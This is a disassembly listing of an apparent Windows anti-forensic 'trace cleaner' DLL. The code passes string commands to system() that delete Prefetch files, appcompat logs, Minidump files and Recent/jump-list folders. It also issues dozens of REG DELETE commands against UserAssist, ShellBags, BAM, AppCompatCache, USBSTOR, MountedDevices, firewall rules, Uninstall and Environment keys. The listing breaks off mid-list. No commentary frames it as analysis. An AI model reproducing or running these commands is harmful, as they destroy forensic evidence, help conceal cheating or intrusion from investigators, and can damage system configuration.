movups xmmword [rbp + 0xf0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x100], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rcx, [rbp + 0xf0]
cmp qword [rbp + 0x108], 0xf
cmova rcx, qword [rbp + 0xf0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp + 0x108]
cmp rdx, 0xf
jbe 0x18003282a
inc rdx
mov rcx, qword [rbp + 0xf0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180032825
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180032825
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18003d440
movdqu xmmword [rbp + 0x100], xmm6
mov byte [rbp + 0xf0], 0
mov rdx, qword [rbp + 0x208]
cmp rdx, 0xf
jbe 0x18003287d
inc rdx
mov rcx, qword [rbp + 0x1f0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180032878
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180032878
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18003d440
movdqu xmmword [rbp + 0x200], xmm6
mov byte [rbp + 0x1f0], 0
mov rdx, qword [rbp - 0x38]
cmp rdx, 0xf
jbe 0x1800328ca
inc rdx
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800328c5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1800328c5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18003d440
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x20], xmm1
lea rax, [rbp + 0x7d0]
mov r8, rdi
inc r8
cmp byte [rax + r8], 0
jne 0x1800328e3
lea rdx, [rbp + 0x7d0]
lea rcx, [rbp - 0x30]
call fcn.180037400
nop
mov r8, qword [rbp - 0x20]
mov rcx, qword [rbp - 0x18]
mov rax, rcx
sub rax, r8
cmp rax, 0x17
jb 0x180032988
lea rax, [r8 + 0x17]
mov qword [rbp - 0x20], rax
lea r14, [rbp - 0x30]
cmp rcx, 0xf
cmova r14, qword [rbp - 0x30]
lea rax, [0x1800a604f]
cmp rax, r14
jbe 0x180032949
lea rax, [r14 + r8]
cmp rbx, rax
ja 0x180032949
cmp r14, rbx
jbe 0x18003294c
mov r13, r14
sub r13, rbx
jmp 0x18003294c
mov r13, rsi
inc r8
lea rcx, [r14 + 0x17]
mov rdx, r14
call sub.VCRUNTIME140.dll_memmove
mov r8, r13
mov rdx, rbx
mov rcx, r14
call sub.VCRUNTIME140.dll_memcpy
mov r8, rsi
sub r8, r13
lea rdx, [r13 + 0x17]
add rdx, rbx
lea rcx, [r14 + r13]
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rbp - 0x30]
xor r13d, r13d
jmp 0x18003299e
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rbx
mov rdx, rsi
lea rcx, [rbp - 0x30]
call fcn.18003cef0
xorps xmm0, xmm0
movups xmmword [rbp + 0x210], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x220], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x210], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x220], xmm1
mov qword [rax + 0x18], 0xf
mov qword [rax + 0x10], r13
mov byte [rax], 0
mov r8d, 0x62
lea rdx, str.SoftwareMicrosoftWindows_NTCurrentVersionAppCompatFlagsCompatibility_AssistantStore___va__f
lea rcx, [rbp + 0x210]
call fcn.18003ae90
xorps xmm0, xmm0
movups xmmword [rbp + 0x110], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x120], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x110], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x120], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rcx, [rbp + 0x110]
cmp qword [rbp + 0x128], 0xf
cmova rcx, qword [rbp + 0x110]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp + 0x128]
cmp rdx, 0xf
jbe 0x180032a8a
inc rdx
mov rcx, qword [rbp + 0x110]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180032a85
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180032a85
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18003d440
movdqu xmmword [rbp + 0x120], xmm6
mov byte [rbp + 0x110], 0
mov rdx, qword [rbp + 0x228]
cmp rdx, 0xf
jbe 0x180032add
inc rdx
mov rcx, qword [rbp + 0x210]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180032ad8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180032ad8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18003d440
movdqu xmmword [rbp + 0x220], xmm6
mov byte [rbp + 0x210], 0
mov rdx, qword [rbp - 0x18]
cmp rdx, 0xf
jbe 0x180032b2a
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180032b25
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180032b25
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18003d440
xorps xmm0, xmm0
movups xmmword [rbp - 0x10], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp], xmm1
lea rax, [rbp + 0x7d0]
mov r8, rdi
inc r8
cmp byte [rax + r8], 0
jne 0x180032b43
lea rdx, [rbp + 0x7d0]
lea rcx, [rbp - 0x10]
call fcn.180037400
nop
mov r8, qword [rbp]
mov rcx, qword [rbp + 8]
mov rax, rcx
sub rax, r8
cmp rax, 0x17
jb 0x180032be8
lea rax, [r8 + 0x17]
mov qword [rbp], rax
lea r14, [rbp - 0x10]
cmp rcx, 0xf
cmova r14, qword [rbp - 0x10]
lea rax, [0x1800a604f]
cmp rax, r14
jbe 0x180032ba9
lea rax, [r14 + r8]
cmp rbx, rax
ja 0x180032ba9
cmp r14, rbx
jbe 0x180032bac
mov r13, r14
sub r13, rbx
jmp 0x180032bac
mov r13, rsi
inc r8
lea rcx, [r14 + 0x17]
mov rdx, r14
call sub.VCRUNTIME140.dll_memmove
mov r8, r13
mov rdx, rbx
mov rcx, r14
call sub.VCRUNTIME140.dll_memcpy
sub rsi, r13
lea rdx, [r13 + 0x17]
add rdx, rbx
lea rcx, [r14 + r13]
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rbp - 0x10]
xor r13d, r13d
jmp 0x180032bfe
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rbx
mov rdx, rsi
lea rcx, [rbp - 0x10]
call fcn.18003cef0
xorps xmm0, xmm0
movups xmmword [rbp + 0x230], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x240], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x230], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x240], xmm1
mov qword [rax + 0x18], 0xf
mov qword [rax + 0x10], r13
mov byte [rax], 0
mov r8d, 0x44
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionExplorerMountPoints2___f
lea rcx, [rbp + 0x230]
call fcn.18003ae90
xorps xmm0, xmm0
movups xmmword [rbp + 0x130], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x140], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x130], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x140], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rcx, [rbp + 0x130]
cmp qword [rbp + 0x148], 0xf
cmova rcx, qword [rbp + 0x130]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp + 0x148]
cmp rdx, 0xf
jbe 0x180032cea
inc rdx
mov rcx, qword [rbp + 0x130]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180032ce5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180032ce5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18003d440
movdqu xmmword [rbp + 0x140], xmm6
mov byte [rbp + 0x130], 0
mov rdx, qword [rbp + 0x248]
cmp rdx, 0xf
jbe 0x180032d3d
inc rdx
mov rcx, qword [rbp + 0x230]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180032d38
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180032d38
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18003d440
movdqu xmmword [rbp + 0x240], xmm6
mov byte [rbp + 0x230], 0
mov rdx, qword [rbp + 8]
cmp rdx, 0xf
jbe 0x180032d8a
inc rdx
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180032d85
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180032d85
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18003d440
xorps xmm0, xmm0
movups xmmword [rbp + 0x10], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x20], xmm1
lea rax, [rbp + 0x7d0]
mov r8, rdi
inc r8
cmp byte [rax + r8], 0
jne 0x180032da3
lea rdx, [rbp + 0x7d0]
lea rcx, [rbp + 0x10]
call fcn.180037400
nop
mov r8, qword [rbp + 0x20]
mov rcx, qword [rbp + 0x28]
mov rax, rcx
sub rax, r8
cmp rax, 0x14
jb 0x180032e4d
lea rax, [r8 + 0x14]
mov qword [rbp + 0x20], rax
lea rbx, [rbp + 0x10]
cmp rcx, 0xf
cmova rbx, qword [rbp + 0x10]
lea rax, [0x1800a60a4]
cmp rax, rbx
jbe 0x180032e0e
lea rax, [rbx + r8]
cmp r15, rax
ja 0x180032e0e
cmp rbx, r15
ja 0x180032e06
mov rsi, r13
jmp 0x180032e11
mov rsi, rbx
sub rsi, r15
jmp 0x180032e11
mov rsi, r12
inc r8
lea rcx, [rbx + 0x14]
mov rdx, rbx
call sub.VCRUNTIME140.dll_memmove
mov r8, rsi
mov rdx, r15
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
sub r12, rsi
lea rdx, [0x1800a60a4]
add rdx, rsi
lea rcx, [rbx + rsi]
mov r8, r12
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rbp + 0x10]
jmp 0x180032e63
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r15
mov rdx, r12
lea rcx, [rbp + 0x10]
call fcn.18003cef0
xorps xmm0, xmm0
movups xmmword [rbp + 0x250], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x260], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x250], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x260], xmm1
mov qword [rax + 0x18], 0xf
mov qword [rax + 0x10], r13
mov byte [rax], 0
mov r8d, 0x41
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionExplorerMountPoints2_
lea rcx, [rbp + 0x250]
call fcn.18003ae90
xorps xmm0, xmm0
movups xmmword [rbp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x60], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x60], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rcx, [rbp + 0x50]
cmp qword [rbp + 0x68], 0xf
cmova rcx, qword [rbp + 0x50]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp + 0x68]
cmp rdx, 0xf
jbe 0x180032f34
inc rdx
mov rcx, qword [rbp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180032f2f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180032f2f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18003d440
movdqu xmmword [rbp + 0x60], xmm6
mov byte [rbp + 0x50], 0
mov rdx, qword [rbp + 0x268]
cmp rdx, 0xf
jbe 0x180032f81
inc rdx
mov rcx, qword [rbp + 0x250]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180032f7c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180032f7c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18003d440
movdqu xmmword [rbp + 0x260], xmm6
mov byte [rbp + 0x250], 0
mov rdx, qword [rbp + 0x28]
cmp rdx, 0xf
jbe 0x180032fce
inc rdx
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180032fc9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180032fc9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18003d440
lea r8, str.APPDATA
lea rdx, [rbp + 0x300]
lea rcx, [rbp + 0x270]
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll__dupenv_s]
mov rdx, qword [rbp + 0x270]
test rdx, rdx
jne 0x18003301d
lea rdx, str.Error_getting_AppData_folder_path.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.18003b710
lea rdx, [0x18003b8f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x180033ce4
lea rcx, [rbp + 0x2c0]
call fcn.1800373c0
nop
mov rcx, qword [rbp + 0x270]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
lea r8, [rbp + 0x2c0]
lea rcx, [rbp + 0x30]
call fcn.18003b930
nop
lea r8, str.MicrosoftWindowsRecent.
mov rdx, rax
lea rcx, [rbp + 0x150]
call fcn.18003b6a0
mov rcx, rax
call fcn.18003a3a0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x150]
call fcn.18003a440
nop
lea rcx, [rbp + 0x30]
call fcn.18003a440
lea r8, [rbp + 0x2c0]
lea rcx, [rbp + 0x30]
call fcn.18003b930
nop
lea r8, str.MicrosoftWindowsRecentCustomDestinations.
mov rdx, rax
lea rcx, [rbp + 0x150]
call fcn.18003b6a0
mov rcx, rax
call fcn.18003a3a0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x150]
call fcn.18003a440
nop
lea rcx, [rbp + 0x30]
call fcn.18003a440
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
mov rdx, qword [rbp + 0x2d0]
sub rax, rdx
cmp rax, 0xa
jb 0x180033db0
lea r13, [rbp + 0x2c0]
mov r14, qword [rbp + 0x2c0]
mov r15, qword [rbp + 0x2d8]
cmp r15, 0xf
cmova r13, r14
xorps xmm0, xmm0
movups xmmword [rbp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x40], xmm1
lea r12, [rdx + 0xa]
mov ebx, 0xf
lea rsi, [rbp + 0x30]
cmp r12, rbx
jbe 0x1800331b9
mov rbx, r12
or rbx, 0xf
cmp rbx, rcx
jbe 0x18003316e
mov rbx, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.18003da90
test rax, rax
je 0x18003319f
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x1800331ae
mov eax, 0x16
cmp rbx, rax
cmovb rbx, rax
lea rcx, [rbx + 1]
test rcx, rcx
jne 0x180033187
xor esi, esi
jmp 0x1800331b5
cmp rcx, 0x1000
jb 0x1800331a6
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x180033db6
jmp 0x180033153
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18003da90
mov rsi, rax
mov rdx, qword [rbp + 0x2d0]
mov qword [rbp + 0x30], rsi
mov qword [rbp + 0x40], r12
mov qword [rbp + 0x48], rbx
movsd xmm0, qword [str.DEL__f__q]
movsd qword [rsi], xmm0
movzx ecx, word [0x1800a6320]
mov word [rsi + 8], cx
lea rcx, [rsi + 0xa]
mov r8, rdx
mov rdx, r13
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsi + r12], 0
mov r8d, 0x33
lea rdx, str.MicrosoftWindowsRecentAutomaticDestinations.
lea rcx, [rbp + 0x30]
call fcn.18003ae90
xorps xmm0, xmm0
movups xmmword [rbp + 0x150], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x160], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x150], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x160], xmm1
mov qword [rax + 0x10], 0
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rcx, [rbp + 0x150]
call fcn.18003a3a0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x150]
call fcn.18003a440
nop
lea rcx, [rbp + 0x30]
call fcn.18003a440
lea rcx, str.DEL__f__q__systemroot__appcompatPrograms.txt
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.DEL__f__q__systemroot__appcompatPrograms.xml
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.DEL__f__q__systemroot__appcompatProgramsInstall.txt
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.DEL__f__q__systemroot__appcompatProgramsInstall.xml
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.DEL__f__q__systemroot_Prefetch.pf
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.DEL__f__q__systemroot_Prefetch.ini
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.DEL__f__q__systemroot_Prefetch.7db
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.DEL__f__q__systemroot_Prefetch.ebd
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.DEL__f__q__systemroot_Prefetch.bin
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.DEL__f__q__systemroot_Prefetch.db
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.DEL__f__q__systemroot_PrefetchReadyBoot.fx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.DEL__f__q__systemroot_Minidump.
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rax, str.REG_DELETE__HKEY_CURRENT_USERSOFTWARESiticone___f
mov qword [rbp + 0x310], rax
lea rax, str.REG_DELETE__HKEY_CURRENT_USERSOFTWARENuGet___f
mov qword [rbp + 0x318], rax
lea rax, str.REG_DELETE__HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerUserAssist___f
mov qword [rbp + 0x320], rax
lea rax, str.REG_DELETE__HKEY_CURRENT_USERSOFTWAREWinRARArcHistory___f
mov qword [rbp + 0x328], rax
lea rax, str.REG_DELETE__HKEY_CURRENT_USERSOFTWAREWinRARDialogEditHistory___f
mov qword [rbp + 0x330], rax
lea rax, str.REG_DELETE__HKEY_CURRENT_USERSOFTWARE7_Zip___f
mov qword [rbp + 0x338], rax
lea rax, str.REG_DELETE__HKEY_CURRENT_USERSOFTWAREClassesLocal_SettingsSoftwareMicrosoftWindowsShellMuiCache___f
mov qword [rbp + 0x340], rax
lea rax, str.REG_DELETE__HKEY_CURRENT_USERSOFTWAREClassesAppX69r31t6nmawqr1gdamcsndphj2v4a6cx___f
mov qword [rbp + 0x348], rax
lea rax, str.REG_DELETE__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionExplorerFileExts___f
mov qword [rbp + 0x350], rax
lea rax, str.REG_DELETE__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionExplorerFeatureUsageAppSwitched___f
mov qword [rbp + 0x358], rax
lea rax, str.REG_DELETE__HKEY_CURRENT_USERSOFTWAREMicrosoftWindows_NTCurrentVersionAppCompatFlagsCompatibility_AssistantStore___f
mov qword [rbp + 0x360], rax
lea rax, str.REG_DELETE__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionExplorerFileExts.dllOpenWithList___f
mov qword [rbp + 0x368], rax
lea rax, str.REG_DELETE__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionExplorerFeatureUsageShowJumpView___f
mov qword [rbp + 0x370], rax
lea rax, str.REG_DELETE__HKEY_CLASSES_ROOTLocal_SettingsSoftwareMicrosoftWindowsShellMuiCache___f
mov qword [rbp + 0x378], rax
lea rax, str.REG_DELETE__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionExplorerRecentDocs___f
mov qword [rbp + 0x380], rax
lea rax, str.REG_DELETE__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionExplorerTypedPaths___f
mov qword [rbp + 0x388], rax
lea rax, str.REG_DELETE__HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesSharedAccessParametersFirewallPolicyFirewallRules___f
mov qword [rbp + 0x390], rax
lea rax, str.REG_DELETE__HKEY_LOCAL_MACHINESYSTEMCurrentControlSetEnumUSBSTO___f
mov qword [rbp + 0x398], rax
lea rax, str.REG_DELETE__HKEY_CURRENT_USERSOFTWAREClassesLocal_SettingsSoftwareMicrosoftWindowsShell___f
mov qword [rbp + 0x3a0], rax
lea rax, str.REG_DELETE__HKEY_LOCAL_MACHINESOFTWAREMicrosoftFTH___f
mov qword [rbp + 0x3a8], rax
lea rax, str.REG_DELETE__HKEY_CURRENT_USERSOFTWARECloudflare___f
mov qword [rbp + 0x3b0], rax
lea rax, str.REG_DELETE__HKEY_CURRENT_USERSOFTWAREMicrosoftWindows_NT___f
mov qword [rbp + 0x3b8], rax
lea rax, str.REG_DELETE__HKEY_CURRENT_USERSOFTWAREMicrosoftNotepad___f
mov qword [rbp + 0x3c0], rax
lea rax, str.REG_DELETE__HKEY_LOCAL_MACHINESOFTWARERegisteredApplications___f
mov qword [rbp + 0x3c8], rax
lea rax, str.REG_DELETE__HKEY_CURRENT_USERSoftwareMicrosoftWindows_NTCurrentVersionAppCompatFlagsLayer___f
mov qword [rbp + 0x3d0], rax
lea rax, str.REG_DELETE__HKEY_LOCAL_MACHINESYSTEMControlSet001Services_bamStateUserSettings___f
mov qword [rbp + 0x3d8], rax
lea rax, str.REG_DELETE__HKEY_LOCAL_MACHINESYSTEMMountedDevices___f
mov qword [rbp + 0x3e0], rax
lea rax, str.REG_DELETE__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionExplorerComDlg32LastVisitedPidlMRULegacy___f
mov qword [rbp + 0x3e8], rax
lea rax, str.REG_DELETE__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionExplorerComDlg32FirstFolder___f
mov qword [rbp + 0x3f0], rax
lea rcx, str.REG_DELETE__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionExplorerComDlg32CIDSizeMRU___f
mov qword [rbp + 0x3f8], rcx
lea rax, str.REG_DELETE__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionExplorerRunMRU___f
mov qword [rbp + 0x400], rax
lea rax, str.REG_DELETE__HKEY_CURRENT_USERSOFTWAREClassesLocal_SettingsSoftwareMicrosoftWindowsShellBags___f
mov qword [rbp + 0x408], rax
lea rax, str.REG_DELETE__HKEY_CURRENT_USERSOFTWAREClassesLocal_SettingsSoftwareMicrosoftWindowsShellBagMRU___f
mov qword [rbp + 0x410], rax
lea rax, str.REG_DELETE__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsShellBags___f
mov qword [rbp + 0x418], rax
lea rax, str.REG_DELETE__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsShellBagMRU___f
mov qword [rbp + 0x420], rax
lea rax, str.REG_DELETE__HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSession_ManagerAppCompatCache___f
mov qword [rbp + 0x428], rax
lea rax, str.REG_DELETE__HKEY_LOCAL_MACHINESYSTEMControlSet001ControlSession_ManagerAppCompatCache___f
mov qword [rbp + 0x430], rax
lea rax, str.REG_DELETE__HKEY_CURRENT_USERSOFTWAREMicrosoftDirectInput___f
mov qword [rbp + 0x438], rax
lea rax, str.REG_DELETE__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionAppletsRegedit___f
mov qword [rbp + 0x440], rax
lea rax, str.REG_DELETE__HKEY_CURRENT_USERSOFTWAREMicrosoftWindows_NTCurrentVersionAppCompatFlagsLayers___f
mov qword [rbp + 0x448], rax
lea rax, str.REG_DELETE__HKCUSOFTWAREMicrosoftWindows_NTCurrentVersionAppCompatFlagsCompatibility_AssistantStore___f
mov qword [rbp + 0x450], rax
lea rax, str.REG_DELETE__HKEY_CURRENT_USEREnvironment___f
mov qword [rbp + 0x458], rax
lea rax, str.REG_DELETE__HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSession_ManagerMemory_ManagementPrefetchParameters___f
mov qword [rbp + 0x460], rax
lea rax, str.REG_DELETE__HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionUninstall___f
mov qword [rbp + 0x468], rax
lea rax, str.REG_DELETE__HKEY_CURRENT_USERSOFTWAREMicrosoftInternet_ExplorerLowRegistryAudioPolicyConfigPropertyStore___f
mov qword [rbp + 0x470], rax
mov qword [rbp + 0x478], rcx
lea rax, str.REG_DELETE__HKEY_LOCAL_MACHINESOFTWAREClientsStartMenuInternet___f
mov qword [rbp + 0x480], rax
lea rax, str.REG_DELETE__HKEY_LOCAL_MACHINESOFTWAREMicrosoftCommand_Processor___f
mov qword [rbp + 0x488], rax
lea rax, str.REG_DELETE__HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows_SearchVolumeInfoCache___f
mov qword [rbp + 0x490], rax
lea rax, str.REG_DELETE__HKEY_LOCAL_MACHINESYSTEMCurrentControlSetEnumUSBSTOR___f
mov qword [rbp + 0x498], rax
lea rax, str.REG_DELETE__HKEY_LOCAL_MACHINESOFTWAREMicrosoftTracing___f
mov qword [rbp + 0x4a0], rax
lea rax, str.REG_DELETE__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionPoliciesExplorer___f
mov qword [rbp + 0x4a8], rax
lea rax, str.REG_DELETE__HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerComDlg32LastVisitedPidlMRU___f
mov qword [rbp + 0x4b0], rax
lea rax, str.REG_DELETE__HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerComDlg32OpenSavePidlMRU___f
mov qword [rbp + 0x4b8], rax
lea rax, str.REG_DELETE__HKU_usersid_SOFTWAREMicrosoftWindowsCurrentVersionExplorerUserAssistCEBFF5CD_ACE2_4F4F_9178_9926F41749EACount___f
mov qword [rbp + 0x4c0], rax
lea rax, str.REG_DELETE__HKEY_LOCAL_MACHINESOFTWAREMicrosoftRADARHeapLeakDetectionDiagnosedApplications___f
mov qword [rbp + 0x4c8], rax
lea rdx, str.REG_DELETE__HKEY_USERS_usersid_SoftwareMicrosoftWindowsCurrentVersionSearchRecentApps___f
mov qword [rbp + 0x4d0], rdx
lea rcx, str.REG_DELETE__HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices_bamUserSettings_usersid____f
